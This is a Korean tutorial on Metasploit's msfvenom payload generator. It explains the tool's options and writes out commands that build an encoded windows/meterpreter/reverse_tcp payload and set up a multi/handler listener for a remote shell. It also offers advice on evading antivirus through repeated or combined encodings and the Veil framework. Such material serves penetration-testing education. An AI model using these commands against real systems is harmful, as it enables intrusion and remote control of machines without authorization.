msfvenom은 메타스플로잇 프레임워크(MSF, Metasploit Framework)에 포함되어 있는 페이로드 생성 도구로 범용 페이로드를 생성하고, 방화벽 및 백신 탐지를 우회하려고 인코딩까지 적용할 수 있다.
이 도구는 메타스플로잇 루트 디렉토리(/usr/local/share/metasploit-framework)에 위치해 있으며, 페이로드 생성 시 기본적으로 인코딩이 적용되며, 다른 인코딩을 지정하고 싶으면 msfvenom에서 지원하는 인코딩을 지정해서 사용할 수 있다.
msfvenom으로 생성한 페이로드는 널리 알려져 있어 페이로드 실행 시 백신 프로그램에서 바로 차단한다. 백신 프로그램에서 차단되므로 사용할 필요가 없다고 느껴질 수도 있지만 인코딩 횟수, 다중 인코딩을 지정하거나 백신 프로그램 우회 프레임워크를 적용하면 간단하게 우회가 가능하다.
msfvenom을 사용하는 목적은 다양하겠지만 파이썬 스크립트로 제작한 익스플로잇 코드에 쉘코드 적용, 간단하게 취약점 증명 코드 증명하려고 많이 사용한다.
msfvenom 사용법
옵션 | 설명 |
-h | 도움말 |
-l all | 페이로드, 인코딩, NOP 종류 및 사용방법 |
--help-formats | 출력 포맷 |
-p | 페이로드 |
-f | 출력 파일 포맷 |
-o | 저장할 파일 이름 |
-e | 인코딩 방식 |
-i | 인코딩 횟수 |
-a | 아키텍처(x86 등) |
--platform | 운영체제 |
-b '\xff\x00' | 생성할 페이로드에서 제외할 문자 지정(더미 코드) |
-c | 기존 페이로드 추가 |
msfvenom 실행 시 -h 옵션을 지정하면 지원하는 옵션과 옵션의 간략한 사용법을 확인할 수 있다. -l all 옵션을 지정하면 페이로드, 인코딩, NOP 종류와 사용법을 확인할 수 있다. --help-formats 옵션을 지정하면 지원하는 파일 포맷(exe, python 등)을 확인할 수 있다. 3가지 옵션의 그림은 삽입하지 않았지만 자주 사용하는 옵션이니 한 번쯤 따라 해보기 바란다.
msfconsole 실행 후 윈도우 기반의 취약점 공격 시 페이로드 옵션을 생략하면 기본적으로 reverse_tcp 페이로드가 지정되어 공격을 수행한다. msfvenom으로 reverse_tcp 페이로드를 지정해서 파이썬에서 동작 가능한 쉘코드를 생성하고, 생성한 쉘코드의 크기는 본인 환경 기준으로 약 333 바이트이다.
가장 많이 사용하는 x86/shikata_ga_nai 인코더를 지정하여 파이썬에서 동작 가능한 쉘코드를 생성하고, 생성한 쉘코드의 크기는 약 360 바이트이다.
전에 생성한 쉘코드는 인코더 옵션을 지정하지 않았다. 인코더를 지정한 쉘코드는 Decode Stub가 추가되어 생성되었으므로 쉘코드 크기가 증가한다.
이는 나중에 코드 뒤에 모양이 변경된 쉘코드를 다시 원래 모양으로 복호화하는 코드를 의미한다. 만약, 2중 인코등을 하거나 서로 다른 종류의 인코딩을 복합적으로 사용하면 쉘코드 크기가 상당히 증가한다.
○ msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -f python
윈도우 운영체제에서 msfvenom으로 생성한 페이로드를 실행할 수 있도록 파일 포맷에 exe를 지정하고 바탕화면에 payload.exe로 저장한다.
생성한 페이로드를 윈도우 운영체제에 업로드하기 전 백신 프로그램의 실시간 감시 기능을 비활성화를 하고 업로드한다.
앞서 설명한대로 msfvenom으로 생성한 페이로드는 널리 알려져있으므로 백신 프로그램에서 차단한다. 페이로드를 업로드 후 더블클릭하여 실행하면 아무런 동작도 수행하지 않는다.
○ msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -f exe -o ~/Desktop/payload.exe
공격자 서버(칼리 리눅스)에서 핸들러를 설정하지 않았으므로 윈도우 운영체제에서 payload.exe를 실행해도 세션이 성립되지 않는다. 세션이 성립되도록 공격자 서버에서 msfconsole을 실행 후 핸들러 모듈을 설정하고, 윈도우 운영체제에서 payload.exe를 실행하면 공격자 서버와 세션이 맺어진다.
기본 옵션으로 생성한 페이로드와 인코딩을 적용해 생성한 페이로드의 크기는 차이점이 존재한다. 바이러스 토탈 서비스에 업로드해서 검사하면 기본 옵션으로 생성한 페이로드가 훨씬 많은 백신에서 탐지된다. 가장 많이 사용하는 x86/shikata_ga_nai 인코딩 조차도 대부분 백신에서 탐지한다.
만약, 자신이 만든 악성코드를 바이러스 토탈 서비스에 업로드하면 모든 백신 프로그램에 공유되며 해당 패턴을 분석하여 자사 백신에 적용한다.
msfvenom으로 페이로드를 생성할 때 인코딩 횟수, 다중 인코딩, 복합 인코딩을 적용해서 바이러스 토탈 서비스에 업로드하면 탐지할 백신의 수는 줄어든다.
하지만, 다중 인코딩, 복합 인코딩을 적용해도 탐지하는 백신이 존재한다. 이런 백신의 특징은 msfvenom으로 생성한 페이로드 내부에 특정 규칙이 존재하면 악성코드로 탐지한다.
백신에 탐지하지 않으려면 잘 알려지지 않는 방식으로 커스텀마이징을 하거나 베일 프레임워크를 이용하면 백신 우회가 가능하다.
○ use multi/handler
○ set payload windows/meterpreter/reverse_tcp
○ set lhost 10.10.0.19
○ exploit -j
○ sessions -l
▶ Metasploit msfconsole 사용법 및 활용
▶ Metasploit meterpreter 기능 및 사용법